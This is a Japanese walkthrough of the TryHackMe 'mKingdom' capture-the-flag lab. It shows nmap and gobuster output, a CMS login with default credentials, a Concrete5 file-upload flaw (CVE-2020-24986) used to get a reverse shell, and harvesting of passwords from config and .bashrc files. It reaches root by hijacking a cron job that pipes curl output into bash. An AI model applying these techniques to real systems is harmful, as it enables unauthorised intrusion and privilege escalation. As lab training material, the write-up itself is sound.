はじめに
本記事はTryHackMeのWriteupです。
RoomはmKingdom、Difficulty(難易度)はEasyです。
このRoomでは、権限昇格に関するスキルについて学ぶことができます。
ポートスキャン
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 14:09 JST
Nmap scan report for 10.10.31.6
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
Scan completed
ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、85番ポートにアクセスすると、以下の様な画面が表示されます。
このページでは、特に興味深いものは見つからなかったため、引き続きコンテンツ探索を行います。
$ gobuster dir -u http://<IP address>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.31.6:85/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 281]
/.htpasswd (Status: 403) [Size: 286]
/.htaccess (Status: 403) [Size: 286]
/app (Status: 301) [Size: 308] [--> http://10.10.31.6:85/app/]
/index.html (Status: 200) [Size: 647]
/server-status (Status: 403) [Size: 290]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記コンテンツ探索の結果を踏まえて、/app
にアクセスすると以下の様な画面が表示されるので「JUMP」ボタンを押します。
「OK」を押します。
たくさんのキノコが写っているWebsiteの画面に遷移しました。
Websiteを注意深く見ると、画面右下に「Log in」ボタンがあるので押してみます。
何らかのCMSと思われるログイン画面に遷移しました。
ユーザー名にadmin、パスワードもadminでログイン試行しましたが、Invalid username or password.
のメッセージが表示されてログインできません。
ユーザー名にadmin、パスワードはpasswordでログイン試行すると、ログインすることができました。
脆弱性分析
Websiteのトップページのソースを確認した結果、オープンソースで開発されているCMSのConcrete5を利用していることが分かります。また、バージョンは8.5.2です。
GoogleでConcrete5の当該バージョンに関する脆弱性を調査すると、CVE-2020-24986が確認できました。
サイトの設定変更を行うことで、PHPファイルのアップロードが行えるようになるため、任意のコマンドを実行することができます。
システムハッキング
アドバイザリとして記載がある以下のサイトを参考にしながら足場を作ります。
アクセスの獲得
「System & Settings」から「Files」の「Allowed File Types」を選択して、phpを追加します。
「Files」画面の「Upload Files」を押します。
用意したリバースシェルのPHPファイルをアップロードします。
事前にリスナーを準備した状態で、アップロードしたPHPファイルにアクセスします。
リバースシェルを取得しました。
listening on [any] 4444 ...
connect to [Your Ip address] from (UNKNOWN) [10.10.31.6] 41896
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
01:33:55 up 29 min, 0 users, load average: 0.03, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$
リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。
$ /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'
www-data@mkingdom:/$ ^Z
[1]+ 停止 nc -lnvp 4444
┌──(kali㉿kali)-[/tmp]
└─$ stty raw -echo; fg
nc -lnvp 4444
export TERM=xterm
www-data@mkingdom:/$ export SHELL=bash
ユーザーフラグ
/home
配下のディレクトリを確認すると、以下のユーザーが確認できます。
total 8
drwx------ 15 mario mario 4096 Jan 29 17:59 mario
drwxrwx--- 16 toad toad 4096 Jan 29 17:53 toad
ローカルで起動しているサービスを列挙するため、ss
コマンドを実行します。
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 127.0.0.1:3306 *:*
LISTEN 0 128 127.0.0.1:631 *:*
setuidが付与されたファイルを検索するため、以下のコマンドを実行します。
$ find / -perm -4000 2> /dev/null
/bin/cat
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping6
/bin/ping
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/lppasswd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mtr
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
上記結果を踏まえて、cat
コマンドを確認すると、以下の権限になっていることが分かりました。
-rwsr-xr-x 1 toad root 47904 Mar 10 2016 /bin/cat
/home
配下のユーザーに関する認証情報を調査するにあたって、Websiteのディレクトリに移動します。
$ cd /var/www/html/app/castle/application/
以下はls -l
コマンドの結果です。
total 72
drwxrwxr-x 2 root root 4096 Oct 2 2019 attributes
drwxrwxr-x 2 root root 4096 Oct 2 2019 authentication
drwxrwxr-x 2 root root 4096 Oct 2 2019 blocks
drwxrwxr-x 2 root root 4096 Oct 2 2019 bootstrap
drwxrwxrwx 4 root root 4096 Nov 29 2023 config
drwxrwxr-x 2 root root 4096 Oct 2 2019 controllers
-rw-r--r-- 1 root root 129 Nov 29 2023 counter.sh
drwxrwxr-x 2 root root 4096 Oct 2 2019 elements
drwxrwxrwx 31 root root 4096 Jun 23 01:33 files
-rw-rw-r-- 1 root root 0 Oct 2 2019 index.html
drwxrwxr-x 2 root root 4096 Oct 2 2019 jobs
drwxrwxr-x 2 root root 4096 Oct 2 2019 languages
drwxrwxr-x 2 root root 4096 Oct 2 2019 mail
drwxrwxr-x 2 root root 4096 Oct 2 2019 page_templates
drwxrwxr-x 2 root root 4096 Oct 2 2019 single_pages
drwxrwxr-x 2 root root 4096 Oct 2 2019 src
drwxrwxr-x 2 root root 4096 Oct 2 2019 themes
drwxrwxr-x 2 root root 4096 Oct 2 2019 tools
drwxrwxr-x 2 root root 4096 Oct 2 2019 views
config
配下のディレクトリを検索すると、パスワードが見つかりました。
$ grep -r password ./config
./config/database.php: 'password' => 'toadisthebest',to
su
コマンドを実行して、toadユーザーに切り替えます。
$ su - toad
Password:
toad@mkingdom:~$
なお、この認証情報はmysqlでも使用できます。
mysql -u toad -p -h localhost
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 101
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
ホームディレクトリを探索します。
total 100
drwxrwx--- 16 toad toad 4096 Jan 29 17:53 .
drwxr-xr-x 4 root root 4096 Jun 9 2023 ..
lrwxrwxrwx 1 root root 9 Nov 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 toad toad 220 Jun 8 2023 .bash_logout
-rw-r--r-- 1 toad toad 3693 Nov 25 2023 .bashrc
drwx------ 11 toad toad 4096 Nov 28 2023 .cache
drwx------ 3 toad toad 4096 Nov 26 2023 .compiz
drwx------ 14 toad toad 4096 Nov 26 2023 .config
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Desktop
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Documents
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Downloads
drwx------ 3 toad toad 4096 Dec 10 2023 .gconf
-rw------- 1 toad toad 1710 Dec 10 2023 .ICEauthority
drwx------ 3 toad toad 4096 Nov 26 2023 .local
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Music
-rw-rw-r-- 1 toad toad 637 Jan 29 17:53 .mysql_history
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Pictures
-rw-r--r-- 1 toad toad 675 Jun 8 2023 .profile
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Public
-rw-r--r-- 1 toad toad 914 Nov 25 2023 smb.txt
drwxrwx--- 2 toad toad 4096 Nov 27 2023 .ssh
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Templates
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Videos
-rw------- 1 toad toad 57 Dec 10 2023 .Xauthority
-rw------- 1 toad toad 1676 Dec 10 2023 .xsession-errors
-rw------- 1 toad toad 1675 Nov 30 2023 .xsession-errors.old
.bashrc
ファイルの末尾に怪しい文字列がエクスポートされていました。
export PWD_token='aWthVGVOVEFOdEVTCg=='
base64で符号化されているのでデコードすると、パスワードが確認できました。
$ echo aWthVGVOVEFOdEVTCg== | base64 -d
************
su
コマンドを実行して、marioユーザーに切り替えます。
$ su - mario
Password:
mario@mkingdom:~$
ユーザーフラグが確認できました。
total 36
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Desktop
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Documents
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Downloads
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Music
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Pictures
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Public
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Templates
-rw-r--r-- 1 root root 38 Nov 27 2023 user.txt
drwxr-xr-x 2 mario mario 4096 Jan 26 18:45 Videos
しかし、そのままcat
コマンドを実行すると、権限のエラーが出力されて参照できません。
cat: user.txt: Permission denied
何故ならば、cat
コマンドはsetuidが付与されているためです。従ってその他ファイル参照可能なコマンドを実行します。
more user.txt
thm{********************************}
ルートフラグ
事前にpspy
を準備します。
pspy
を実行後、以下の様な怪しいプロセスが確認できます。
2024/06/23 02:04:01 CMD: UID=0 PID=2650 | bash
2024/06/23 02:04:01 CMD: UID=0 PID=2649 | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/23 02:04:01 CMD: UID=0 PID=2648 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
2024/06/23 02:04:01 CMD: UID=0 PID=2647 | CRON
上記結果を踏まえて、cronで呼び出されたプロセスでありUID=0と表示されているため、ルートユーザーで実行されていることが推測できます。
counter.sh
シェルについては、権限上編集することができません。このシェルを利用するためには、hostsファイルを編集して、mkingdom.thm
ドメインに紐づくIPアドレスを攻撃用のマシンのIPアドレスに変更します。
127.0.0.1 localhost
127.0.0.1 mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
127.0.0.1 www.concrete5.org
127.0.0.1 newsflow.concrete5.org
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
攻撃用のマシンでは、/app/castle/application/counter.sh
ファイルを用意して、Webサーバを起動させて取得します。
python -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.31.6 - - [23/Jun/2024 15:11:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
/app/castle/application/counter.sh
ファイルは、リバースシェルになるため、しばらくするとリバースシェルが取得できます。
listening on [any] 4444 ...
connect to [Your Ip address] from (UNKNOWN) [10.10.31.6] 42206
bash: cannot set terminal process group (2744): Inappropriate ioctl for device
bash: no job control in this shell
root@mkingdom:~#
ルートユーザーであることが確認できるため、ルートフラグを取得して完了です。
uid=0(root) gid=0(root) groups=0(root)
おわりに
某ゲームを連想させる面白いルームでした。